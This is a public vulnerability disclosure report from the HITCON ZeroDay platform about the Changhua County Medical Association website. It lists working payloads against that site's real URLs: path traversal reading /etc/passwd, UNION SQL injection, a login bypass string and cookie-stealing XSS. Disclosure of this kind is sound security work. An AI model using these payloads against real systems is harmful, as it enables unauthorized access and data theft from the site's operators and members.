Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00077
- Vendor: 彰化縣醫師公會
- Title: 彰化縣醫師公會 網站存在 SQL injection 與 XSS 與 LFI
- Introduction: 網站存在 SQL injection 與 XSS 與 LFI
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/02/08 02:50:26 : 新提交 (由 BTtea 更新此狀態)
- 2022/02/25 11:11:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/25 11:21:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/25 11:21:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/25 11:21:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/10 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00077
- 通報者:blacktea_player (BTtea)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://www.chma.org.tw/news/view.php?mainId=6&id=6232
http://www.chma.org.tw/system/
http://www.chma.org.tw/system/movie/main_list.php?page=1
http://www.chma.org.tw/system/member/main_edit.php?id=5
敘述
LFI
http://www.chma.org.tw/news/downloadFile.php?fileName=test.txt&proFile=../../../../../etc/passwd
http://www.chma.org.tw/news/view.php?mainId=6&id=6232
id 值存在 SQL injection 與 XSS
xss payload : http://www.chma.org.tw/news/view.php?mainId=6&id=-6232%27%20union%20select%201,%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%22,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--%20-
http://www.chma.org.tw/system/
帳號輸入 SQLi payload 密碼隨意,即可登入
SQLi payload : ' or 1 or '
http://www.chma.org.tw/system/movie/main_list.php?page=1
page 值存在 XSS
xss payload : "><script>alert(document.cookie)</script>
http://www.chma.org.tw/system/member/main_edit.php?id=5
id 值存在 SQL injection 與 XSS
SQL injeciton : http://www.chma.org.tw/system/member/main_edit.php?id=-5%27%20union%20select%201,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--%20-&page=1
XSS payload : "><script>alert(document.cookie)</script>
資訊洩漏
http://www.chma.org.tw
/.bashrc
/.bash_profile
/.bash_logout
/phpinfo.php